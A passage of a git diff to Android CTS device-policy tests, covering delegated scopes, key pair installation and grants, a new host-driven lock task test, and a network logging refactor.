-            mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT,
-                    NON_EXISTENT_PKG, scopes);
-            fail("Should throw when delegating to non existent package");
-        } catch(IllegalArgumentException expected) {
-        }
-        // Assert no scopes were delegated.
-        assertTrue("Delegation scopes granted to non existent package", mDevicePolicyManager
-                .getDelegatedScopes(ADMIN_RECEIVER_COMPONENT, NON_EXISTENT_PKG).isEmpty());
-    }
-
-    public void testCanRetrieveDelegates() {
-        final List<String> someScopes = Arrays.asList(
-                DELEGATION_APP_RESTRICTIONS,
-                DELEGATION_ENABLE_SYSTEM_APP);
-        final List<String> otherScopes = Arrays.asList(
-                DELEGATION_BLOCK_UNINSTALL,
-                DELEGATION_ENABLE_SYSTEM_APP);
-
-        // In the beginning there are no delegates.
-        assertTrue("No delegates should be found", getDelegatePackages(DELEGATION_APP_RESTRICTIONS)
-                .isEmpty());
-        assertTrue("No delegates should be found", getDelegatePackages(DELEGATION_BLOCK_UNINSTALL)
-                .isEmpty());
-        assertTrue("No delegates should be found", getDelegatePackages(DELEGATION_ENABLE_SYSTEM_APP)
-                .isEmpty());
-
-        // After delegating scopes to two packages.
-        mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT,
-                DELEGATE_PKG, someScopes);
-        mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT,
-                TEST_PKG, otherScopes);
-
-        // The expected delegates are returned.
-        assertTrue("Expected delegate not found", getDelegatePackages(DELEGATION_APP_RESTRICTIONS)
-                .contains(DELEGATE_PKG));
-        assertTrue("Expected delegate not found", getDelegatePackages(DELEGATION_BLOCK_UNINSTALL)
-                .contains(TEST_PKG));
-        assertTrue("Expected delegate not found", getDelegatePackages(DELEGATION_ENABLE_SYSTEM_APP)
-                .contains(DELEGATE_PKG));
-        assertTrue("Expected delegate not found", getDelegatePackages(DELEGATION_ENABLE_SYSTEM_APP)
-                .contains(TEST_PKG));
-
-        // Packages are only returned in their recpective scopes.
-        assertFalse("Unexpected delegate package", getDelegatePackages(DELEGATION_APP_RESTRICTIONS)
-                .contains(TEST_PKG));
-        assertFalse("Unexpected delegate package", getDelegatePackages(DELEGATION_BLOCK_UNINSTALL)
-                .contains(DELEGATE_PKG));
-        assertFalse("Unexpected delegate package", getDelegatePackages(DELEGATION_CERT_INSTALL)
-                .contains(DELEGATE_PKG));
-        assertFalse("Unexpected delegate package", getDelegatePackages(DELEGATION_CERT_INSTALL)
-                .contains(TEST_PKG));
-    }
-
-    public void testDeviceOwnerOrManagedPoOnlyDelegations() throws Exception {
-        final String [] doOrManagedPoDelegations = { DELEGATION_NETWORK_LOGGING };
-        final boolean isDeviceOwner = mDevicePolicyManager.isDeviceOwnerApp(
-                mContext.getPackageName());
-        final boolean isManagedProfileOwner = mDevicePolicyManager.getProfileOwner() != null
-                && mDevicePolicyManager.isManagedProfile(ADMIN_RECEIVER_COMPONENT);
-        for (String scope : doOrManagedPoDelegations) {
-            if (isDeviceOwner || isManagedProfileOwner) {
-                try {
-                    mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_PKG,
-                            Collections.singletonList(scope));
-                } catch (SecurityException e) {
-                    fail("DO or managed PO fails to delegate " + scope + " exception: " + e);
-                    Log.e(TAG, "DO or managed PO fails to delegate " + scope, e);
-                }
-            } else {
-                assertThrows("PO not in a managed profile shouldn't be able to delegate " + scope,
-                        SecurityException.class,
-                        () -> mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT,
-                                DELEGATE_PKG, Collections.singletonList(scope)));
-            }
-        }
-    }
-
-    public void testDeviceOwnerOrOrgOwnedManagedPoOnlyDelegations() throws Exception {
-        final String [] doOrOrgOwnedManagedPoDelegations = { DELEGATION_SECURITY_LOGGING };
-        final boolean isDeviceOwner = mDevicePolicyManager.isDeviceOwnerApp(
-                mContext.getPackageName());
-        final boolean isOrgOwnedManagedProfileOwner = mDevicePolicyManager.getProfileOwner() != null
-                && mDevicePolicyManager.isManagedProfile(ADMIN_RECEIVER_COMPONENT)
-                && mDevicePolicyManager.isOrganizationOwnedDeviceWithManagedProfile();
-        for (String scope : doOrOrgOwnedManagedPoDelegations) {
-            if (isDeviceOwner || isOrgOwnedManagedProfileOwner) {
-                try {
-                    mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_PKG,
-                            Collections.singletonList(scope));
-                } catch (SecurityException e) {
-                    fail("DO or organization-owned managed PO fails to delegate " + scope
-                            + " exception: " + e);
-                    Log.e(TAG, "DO or organization-owned managed PO fails to delegate " + scope, e);
-                }
-            } else {
-                assertThrows("PO not in an organization-owned managed profile shouldn't be able to "
-                        + "delegate " + scope,
-                        SecurityException.class,
-                        () -> mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT,
-                                DELEGATE_PKG, Collections.singletonList(scope)));
-            }
-        }
-    }
-
-    public void testExclusiveDelegations() throws Exception {
-        final List<String> exclusiveDelegations = new ArrayList<>(Arrays.asList(
-                DELEGATION_CERT_SELECTION));
-        if (mDevicePolicyManager.isDeviceOwnerApp(mContext.getPackageName())) {
-            exclusiveDelegations.add(DELEGATION_NETWORK_LOGGING);
-            exclusiveDelegations.add(DELEGATION_SECURITY_LOGGING);
-        }
-        for (String scope : exclusiveDelegations) {
-            testExclusiveDelegation(scope);
-        }
-    }
-
-    private void testExclusiveDelegation(String scope) throws Exception {
-
-        mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT,
-                DELEGATE_PKG, Collections.singletonList(scope));
-        // Set exclusive scope on TEST_PKG should lead to the scope being removed from the
-        // previous delegate DELEGATE_PKG
-        mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT,
-                TEST_PKG, Collections.singletonList(scope));
-
-
-        assertThat(mDevicePolicyManager.getDelegatedScopes(ADMIN_RECEIVER_COMPONENT, TEST_PKG))
-                .containsExactly(scope);
-        assertThat(mDevicePolicyManager.getDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_PKG))
-                .isEmpty();
-    }
-
-    private List<String> getDelegatePackages(String scope) {
-        List<String> packages = mDevicePolicyManager.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
-                scope);
-        Log.d(TAG, "getDelegatePackages(" + scope + "): " + packages);
-        return packages;
-    }
-
-    private void startAndWaitDelegateActivity() throws InterruptedException {
-        ComponentName componentName = new ComponentName(DELEGATE_PKG, DELEGATE_ACTIVITY_NAME);
-        Log.d(TAG, "Starting " + componentName + " on user " + Process.myUserHandle());
-        mContext.startActivity(new Intent()
-                .setComponent(componentName)
-                .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK));
-        assertTrue("DelegateApp did not start in time.",
-                mReceivedRunningSemaphore.tryAcquire(10, TimeUnit.SECONDS));
-    }
-
-    private String[] waitReportedScopes() throws InterruptedException {
-        assertTrue("DelegateApp did not report scope in time.",
-                mReceivedScopeReportSemaphore.tryAcquire(10, TimeUnit.SECONDS));
-        return mReceivedScopes;
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
index 2e48fa5..eebc2bd 100755
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
@@ -25,8 +25,6 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
-import static org.testng.Assert.assertThrows;
-
 import static java.util.Collections.singleton;
 
 import android.content.ComponentName;
@@ -57,7 +55,6 @@
 import java.io.UnsupportedEncodingException;
 import java.net.URLEncoder;
 import java.security.GeneralSecurityException;
-import java.security.InvalidKeyException;
 import java.security.KeyFactory;
 import java.security.KeyPair;
 import java.security.NoSuchAlgorithmException;
@@ -85,7 +82,6 @@
     private static final long KEYCHAIN_TIMEOUT_MINS = 6;
 
     private static final String TEST_ALIAS = "KeyManagementTest-keypair";
-    private static final String NON_EXISTENT_ALIAS = "KeyManagementTest-nonexistent";
 
     private static final String SHARED_UID_APP1_PKG = "com.android.cts.testapps.shareduidapp1";
     private static final String SHARED_UID_APP2_PKG = "com.android.cts.testapps.shareduidapp2";
@@ -136,56 +132,27 @@
         super.tearDown();
     }
 
-    public void testCanInstallAndRemoveValidRsaKeypair() throws Exception {
-        final String alias = "com.android.test.valid-rsa-key-1";
-
-        // Install keypair.
-        assertThat(mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, mFakeCert, alias))
-                .isTrue();
-        try {
-            // Request and retrieve using the alias.
-            assertGranted(alias, false);
-            assertThat(new KeyChainAliasFuture(alias).get()).isEqualTo(alias);
-            assertGranted(alias, true);
-
-            // Verify key is at least something like the one we put in.
-            assertThat(KeyChain.getPrivateKey(mActivity, alias).getAlgorithm()).isEqualTo("RSA");
-        } finally {
-            // Delete regardless of whether the test succeeded.
-            assertThat(mDevicePolicyManager.removeKeyPair(getWho(), alias)).isTrue();
-        }
-        // Verify alias is actually deleted.
-        assertGranted(alias, false);
-    }
-
+    // TODO(b/204544463): Remove when installKeyPair_withAutomatedAccess_aliasIsGranted is enabled
     public void testCanInstallWithAutomaticAccess() throws Exception {
         final String grant = "com.android.test.autogrant-key-1";
-        final String withhold = "com.android.test.nongrant-key-1";
 
-        // Install keypairs.
+        // Install keypair.
         assertThat(
                 mDevicePolicyManager.installKeyPair(
                         getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, grant, true))
                 .isTrue();
-        assertThat(
-                mDevicePolicyManager.installKeyPair(
-                        getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, withhold, false))
-                .isTrue();
         try {
-            // Verify only the requested key was actually granted.
+            // Verify the requested key was actually granted.
             assertGranted(grant, true);
-            assertGranted(withhold, false);
 
             // Verify the granted key is actually obtainable in PrivateKey form.
             assertThat(KeyChain.getPrivateKey(mActivity, grant).getAlgorithm()).isEqualTo("RSA");
         } finally {
-            // Delete both keypairs.
+            // Delete the keypair.
             assertThat(mDevicePolicyManager.removeKeyPair(getWho(), grant)).isTrue();
-            assertThat(mDevicePolicyManager.removeKeyPair(getWho(), withhold)).isTrue();
         }
-        // Verify they're actually gone.
+        // Verify it's actually gone.
         assertGranted(grant, false);
-        assertGranted(withhold, false);
     }
 
     private List<Certificate> loadCertificateChain(String assetName) throws Exception {
@@ -226,77 +193,6 @@
         assertGranted(alias, false);
     }
 
-    public void testGrantsDoNotPersistBetweenInstallations() throws Exception {
-        final String alias = "com.android.test.persistent-key-1";
-
-        // Install keypair.
-        assertThat(
-                mDevicePolicyManager.installKeyPair(
-                        getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, alias, true))
-                .isTrue();
-        try {
-            assertGranted(alias, true);
-        } finally {
-            // Delete and verify.
-            assertThat(mDevicePolicyManager.removeKeyPair(getWho(), alias)).isTrue();
-        }
-        assertGranted(alias, false);
-
-        // Install again.
-        assertThat(
-                mDevicePolicyManager.installKeyPair(
-                        getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, alias, false))
-                .isTrue();
-        try {
-            assertGranted(alias, false);
-        } finally {
-            // Delete.
-            assertThat(mDevicePolicyManager.removeKeyPair(getWho(), alias)).isTrue();
-        }
-    }
-
-    public void testNullKeyParamsFailPredictably() throws Exception {
-        final String alias = "com.android.test.null-key-1";
-        try {
-            mDevicePolicyManager.installKeyPair(getWho(), null, mFakeCert, alias);
-            fail("Exception should have been thrown for null PrivateKey");
-        } catch (NullPointerException expected) {
-        }
-        try {
-            mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, null, alias);
-            fail("Exception should have been thrown for null Certificate");
-        } catch (NullPointerException expected) {
-        }
-    }
-
-    public void testNullAdminComponentIsDenied() throws Exception {
-        final String alias = "com.android.test.null-admin-1";
-        try {
-            mDevicePolicyManager.installKeyPair(null, mFakePrivKey, mFakeCert, alias);
-            fail("Exception should have been thrown for null ComponentName");
-        } catch (SecurityException expected) {
-        }
-    }
-
-    public void testNotUserSelectableAliasCanBeChosenViaPolicy() throws Exception {
-        final String alias = "com.android.test.not-selectable-key-1";
-
-        // Install keypair.
-        assertThat(
-                mDevicePolicyManager.installKeyPair(
-                        getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, alias, 0))
-                .isTrue();
-        try {
-            // Request and retrieve using the alias.
-            assertGranted(alias, false);
-            assertThat(new KeyChainAliasFuture(alias).get()).isEqualTo(alias);
-            assertGranted(alias, true);
-        } finally {
-            // Delete regardless of whether the test succeeded.
-            assertThat(mDevicePolicyManager.removeKeyPair(getWho(), alias)).isTrue();
-        }
-    }
-
     byte[] signDataWithKey(String algoIdentifier, PrivateKey privateKey) throws Exception {
         byte[] data = new String("hello").getBytes();
         Signature sign = Signature.getInstance(algoIdentifier);
@@ -343,6 +239,7 @@
         }
     }
 
+    // TODO(b/198408853): Migrate
     public void testCanGenerateRSAKeyPairUsingStrongBox() throws Exception {
         final String alias = "com.android.test.generated-rsa-sb-1";
         try {
@@ -364,6 +261,7 @@
             .build();
     }
 
+    // TODO(b/198408853): Migrate
     public void testCanGenerateECKeyPair() throws Exception {
         final String alias = "com.android.test.generated-ec-1";
         try {
@@ -376,6 +274,7 @@
         }
     }
 
+    // TODO(b/198408853): Migrate
     public void testCanGenerateECKeyPairUsingStrongBox() throws Exception {
         final String alias = "com.android.test.generated-ec-sb-1";
         try {
@@ -521,7 +420,11 @@
      * Test key generation, including requesting Key Attestation, for all supported key
      * algorithms.
      */
+    // TODO(b/198408853): Migrate
     public void testCanGenerateKeyPairWithKeyAttestation() throws Exception {
+        if (!isAttestationSupported()) {
+            return;
+        }
         for (SupportedKeyAlgorithm supportedKey : SUPPORTED_KEY_ALGORITHMS) {
             assertThat(
                     generateKeyAndCheckAttestation(
@@ -534,6 +437,7 @@
         }
     }
 
+    // TODO(b/198408853): Migrate
     public void testCanGenerateKeyPairWithKeyAttestationUsingStrongBox() throws Exception {
         try {
             for (SupportedKeyAlgorithm supportedKey : SUPPORTED_KEY_ALGORITHMS) {
@@ -641,6 +545,7 @@
         assertAllVariantsOfDeviceIdAttestation(true /* useStrongBox */);
     }
 
+    // TODO(b/198408853): Migrate
     public void testProfileOwnerCannotAttestDeviceUniqueIds() throws Exception {
         if (isDeviceOwner()) {
             return;
@@ -665,6 +570,7 @@
         }
     }
 
+    // TODO(b/198408853): Migrate
     public void testUniqueDeviceAttestationUsingDifferentAttestationCert() throws Exception {
         // This test is only applicable in modes where Device ID attestation can be performed
         // _and_ the device has StrongBox, which is provisioned with individual attestation
@@ -726,6 +632,7 @@
         }
     }
 
+    // TODO(b/198408853): Migrate
     public void testUniqueDeviceAttestationFailsWhenUnsupported() {
         if (!isDeviceOwner() || !hasStrongBox()) {
             return;
@@ -757,6 +664,7 @@
         }
     }
 
+    // TODO(b/198408853): Migrate
     public void testCanSetKeyPairCert() throws Exception {
         final String alias = "com.android.test.set-ec-1";
         try {
@@ -788,6 +696,7 @@
         }
     }
 
+    // TODO(b/198408853): Migrate
     public void testCanSetKeyPairCertChain() throws Exception {
         final String alias = "com.android.test.set-ec-2";
         try {
@@ -815,66 +724,6 @@
         }
     }
 
-    public void testHasKeyPair_NonExistent() {
-        assertThat(mDevicePolicyManager.hasKeyPair(NON_EXISTENT_ALIAS)).isFalse();
-    }
-
-    public void testHasKeyPair_Installed() {
-        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
-                TEST_ALIAS, /* requestAccess= */ true);
-
-        try {
-            assertThat(mDevicePolicyManager.hasKeyPair(TEST_ALIAS)).isTrue();
-        } finally {
-            mDevicePolicyManager.removeKeyPair(getWho(), TEST_ALIAS);
-        }
-    }
-
-    public void testHasKeyPair_Removed() {
-        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
-                TEST_ALIAS, /* requestAccess= */ true);
-        mDevicePolicyManager.removeKeyPair(getWho(), TEST_ALIAS);
-
-        assertThat(mDevicePolicyManager.hasKeyPair(TEST_ALIAS)).isFalse();
-    }
-
-    public void testGetKeyPairGrants_NonExistent() {
-        assertThrows(IllegalArgumentException.class,
-                () -> mDevicePolicyManager.getKeyPairGrants(NON_EXISTENT_ALIAS));
-    }
-
-    public void testGetKeyPairGrants_NotGranted() {
-        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
-                TEST_ALIAS, /* requestAccess= */ false);
-
-        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEmpty();
-    }
-
-    public void testGetKeyPairGrants_GrantedAtInstall() {
-        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
-                TEST_ALIAS, /* requestAccess= */ true);
-
-        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
-                .isEqualTo(Map.of(Process.myUid(), singleton(getWho().getPackageName())));
-    }
-
-    public void testGetKeyPairGrants_GrantedExplicitly() {
-        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
-                TEST_ALIAS, /* requestAccess= */ false);
-        mDevicePolicyManager.grantKeyPairToApp(getWho(), TEST_ALIAS, getWho().getPackageName());
-
-        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
-                .isEqualTo(Map.of(Process.myUid(), singleton(getWho().getPackageName())));
-    }
-
-    public void testGetKeyPairGrants_Revoked() {
-        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
-                TEST_ALIAS, /* requestAccess= */ true);
-        mDevicePolicyManager.revokeKeyPairFromApp(getWho(), TEST_ALIAS, getWho().getPackageName());
-
-        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEmpty();
-    }
-
     public void testGetKeyPairGrants_SharedUid() throws Exception {
         mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
                 TEST_ALIAS, /* requestAccess= */ false);
@@ -898,43 +747,6 @@
                 sharedUid, Set.of(SHARED_UID_APP1_PKG, SHARED_UID_APP2_PKG)));
     }
 
-    public void testIsWifiGrant_default() {
-        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
-                TEST_ALIAS, /* requestAccess= */ false);
-
-        assertThat(mDevicePolicyManager.isKeyPairGrantedToWifiAuth(TEST_ALIAS)).isFalse();
-    }
-
-    public void testIsWifiGrant_allowed() {
-        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
-                TEST_ALIAS, /* requestAccess= */ false);
-        assertTrue(mDevicePolicyManager.grantKeyPairToWifiAuth(TEST_ALIAS));
-
-        assertThat(mDevicePolicyManager.isKeyPairGrantedToWifiAuth(TEST_ALIAS)).isTrue();
-    }
-
-    public void testIsWifiGrant_denied() {
-        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
-                TEST_ALIAS, /* requestAccess= */ false);
-        assertTrue(mDevicePolicyManager.grantKeyPairToWifiAuth(TEST_ALIAS));
-        assertTrue(mDevicePolicyManager.revokeKeyPairFromWifiAuth(TEST_ALIAS));
-
-        assertThat(mDevicePolicyManager.isKeyPairGrantedToWifiAuth(TEST_ALIAS)).isFalse();
-    }
-
-    public void testRevokeKeyPairFromApp_keyNotUsable() throws Exception {
-        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[] {mFakeCert},
-                TEST_ALIAS, /* requestAccess=*/ true);
-        // Key is requested from KeyChain prior to revoking the grant.
-        final PrivateKey key = KeyChain.getPrivateKey(mContext, TEST_ALIAS);
-        // Ensure the key is usable prior to being revoked.
-        signDataWithKey("SHA256withRSA", key);
-        mDevicePolicyManager.revokeKeyPairFromApp(getWho(), TEST_ALIAS, getWho().getPackageName());
-
-        // Key shouldn't be valid after the grant is revoked.
-        assertThrows(InvalidKeyException.class, () -> signDataWithKey("SHA256withRSA", key));
-    }
-
     private void assertGranted(String alias, boolean expected)
             throws InterruptedException, KeyChainException {
         boolean granted = (KeyChain.getPrivateKey(mActivity, alias) != null);
@@ -1022,4 +834,8 @@
     boolean isUniqueDeviceAttestationSupported() {
         return mDevicePolicyManager.isUniqueDeviceAttestationSupported();
     }
+
+    private boolean isAttestationSupported() {
+        return Build.VERSION.DEVICE_INITIAL_SDK_INT >= Build.VERSION_CODES.O;
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
new file mode 100644
index 0000000..0624489
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
@@ -0,0 +1,176 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceandprofileowner;
+
+import android.app.ActivityManager;
+import android.app.ActivityOptions;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+import android.telecom.TelecomManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.time.Duration;
+
+/**
+ * Test class that is meant to be driven from the host and can't be run alone, which is required
+ * for tests that include rebooting or other connection-breaking steps. For this reason, this class
+ * does not override tearDown and setUp just initializes the test state, changing nothing in the
+ * device. Therefore, the host is responsible for making sure the tests leave the device in a clean
+ * state after running.
+ */
+public class LockTaskHostDrivenTest extends BaseDeviceAdminTest {
+
+    private static final String TAG = LockTaskHostDrivenTest.class.getName();
+    private static final int ACTIVITY_RESUMED_TIMEOUT_MILLIS = 20000;  // 20 seconds
+    private static final int LOCK_TASK_STATE_CHANGE_TIMEOUT_MILLIS = 10000;  // 10 seconds
+    private static final String ACTION_EMERGENCY_DIAL = "com.android.phone.EmergencyDialer.DIAL";
+    private static final String LOCK_TASK_ACTIVITY
+            = LockTaskUtilityActivityIfAllowed.class.getName();
+
+    private UiDevice mUiDevice;
+    private Context mContext;
+    private PackageManager mPackageManager;
+    private ActivityManager mActivityManager;
+    private DevicePolicyManager mDevicePolicyManager;
+
+    public void setUp() {
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mContext = InstrumentationRegistry.getContext();
+        mPackageManager = mContext.getPackageManager();
+        mActivityManager = mContext.getSystemService(ActivityManager.class);
+        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+    }
+
+    public void testStartLockTask_noAsserts() throws Exception {
+        Log.d(TAG, "testStartLockTask_noAsserts on host-driven test (no cleanup)");
+        setLockTaskPackages(mContext.getPackageName());
+        setDefaultHomeIntentReceiver();
+        launchLockTaskActivity();
+        mUiDevice.waitForIdle();
+    }
+
+    public void testCleanupLockTask_noAsserts() {
+        Log.d(TAG, "testCleanupLockTask_noAsserts on host-driven test");
+        mDevicePolicyManager.clearPackagePersistentPreferredActivities(
+                ADMIN_RECEIVER_COMPONENT,
+                mContext.getPackageName());
+        setLockTaskPackages();
+        mDevicePolicyManager.setLockTaskFeatures(ADMIN_RECEIVER_COMPONENT, 0);
+        // In case some activity is still in foreground
+        mUiDevice.pressHome();
+    }
+
+    public void testLockTaskIsActive() throws Exception {
+        Log.d(TAG, "testLockTaskIsActive on host-driven test");
+        waitAndCheckLockedActivityIsResumed();
+        checkLockedActivityIsRunning();
+    }
+
+    /**
+     * On low-RAM devices, this test can take too long to finish, so the test runner can incorrectly
+     * assume it's finished. Therefore, only use it once in a given test.
+     *
+     * <p>Does not test that the locked activity is initially in the foreground, since running this
+     * test in instrumentation can immediately kill the locked activity (while maintaining lock task
+     * mode).
+     */
+    public void testLockTaskIsActiveAndCantBeInterrupted() throws Exception {
+        Log.d(TAG, "testLockTaskIsActiveAndCantBeInterrupted on host-driven test");
+        waitAndEnsureLockTaskUtilityActivityIsRunning();
+        checkLockedActivityIsRunning();
+
+        mUiDevice.pressHome();
+        mUiDevice.waitForIdle();
+        checkLockedActivityIsRunning();
+
+        mUiDevice.pressRecentApps();
+        mUiDevice.waitForIdle();
+        checkLockedActivityIsRunning();
+
+        mUiDevice.pressBack();
+        mUiDevice.waitForIdle();
+        checkLockedActivityIsRunning();
+
+        mUiDevice.waitForIdle();
+    }
+
+    private void checkLockedActivityIsRunning() {
+        String activityName =
+                mActivityManager.getAppTasks().get(0).getTaskInfo().topActivity.getClassName();
+        assertEquals(LOCK_TASK_ACTIVITY, activityName);
+        assertEquals(
+                ActivityManager.LOCK_TASK_MODE_LOCKED, mActivityManager.getLockTaskModeState());
+    }
+
+    /**
+     * Ensures the locked activity is resumed or otherwise launches it but without starting lock
+     * task if it is not already in that mode.
+     */
+    private void waitAndEnsureLockTaskUtilityActivityIsRunning() throws Exception {
+        mUiDevice.waitForIdle();
+        final boolean lockedActivityIsResumed =
+                LockTaskUtilityActivity.waitUntilActivityResumed(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+        if (!lockedActivityIsResumed) {
+            launchLockTaskUtilityActivityWithoutStartingLockTask();
+            waitAndCheckLockedActivityIsResumed();
+        }
+    }
+
+    private void waitAndCheckLockedActivityIsResumed() throws Exception {
+        mUiDevice.waitForIdle();
+        assertTrue(
+                LockTaskUtilityActivity.waitUntilActivityResumed(ACTIVITY_RESUMED_TIMEOUT_MILLIS));
+    }
+
+    private void launchLockTaskActivity() {
+        Intent intent = new Intent(mContext, LockTaskUtilityActivityIfAllowed.class);
+        intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(LockTaskUtilityActivity.START_LOCK_TASK, true);
+        mContext.startActivity(intent);
+    }
+
+    private void launchLockTaskUtilityActivityWithoutStartingLockTask() {
+        final Intent intent = new Intent(mContext, LockTaskUtilityActivityIfAllowed.class);
+        intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+    }
+
+    private void setLockTaskPackages(String... packages) {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_RECEIVER_COMPONENT, packages);
+    }
+
+    private void setDefaultHomeIntentReceiver() {
+        IntentFilter intentFilter = new IntentFilter(Intent.ACTION_MAIN);
+        intentFilter.addCategory(Intent.CATEGORY_HOME);
+        intentFilter.addCategory(Intent.CATEGORY_DEFAULT);
+        mDevicePolicyManager.addPersistentPreferredActivity(
+                ADMIN_RECEIVER_COMPONENT, intentFilter,
+                new ComponentName(mContext.getPackageName(), LOCK_TASK_ACTIVITY));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NetworkLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NetworkLoggingTest.java
index 495b63f..d538985 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NetworkLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NetworkLoggingTest.java
@@ -176,8 +176,7 @@
 
     @Test
     public void testSetDelegateScope_delegationNetworkLogging() {
-        mDpm.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG,
-                Arrays.asList(DELEGATION_NETWORK_LOGGING));
+        setDelegatedScopes(DELEGATE_APP_PKG, Arrays.asList(DELEGATION_NETWORK_LOGGING));
 
         assertThat(mDpm.getDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG))
                 .contains(DELEGATION_NETWORK_LOGGING);
@@ -185,8 +184,7 @@
 
     @Test
     public void testSetDelegateScope_noDelegation() {
-        mDpm.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG,
-                Arrays.asList());
+        setDelegatedScopes(DELEGATE_APP_PKG, Arrays.asList());
 
         assertThat(mDpm.getDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG))
                 .doesNotContain(DELEGATION_NETWORK_LOGGING);
@@ -209,6 +207,12 @@
         }
     }
 
+    protected void setDelegatedScopes(String delegatePackage, List<String> scopes) {
+        Log.v(TAG, "Calling setDelegatedScopes(" + ADMIN_RECEIVER_COMPONENT.flattenToShortString()
+                + ", " + delegatePackage + ", " + scopes + ") using " + mDpm);
+        mDpm.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, delegatePackage, scopes);
+    }
+
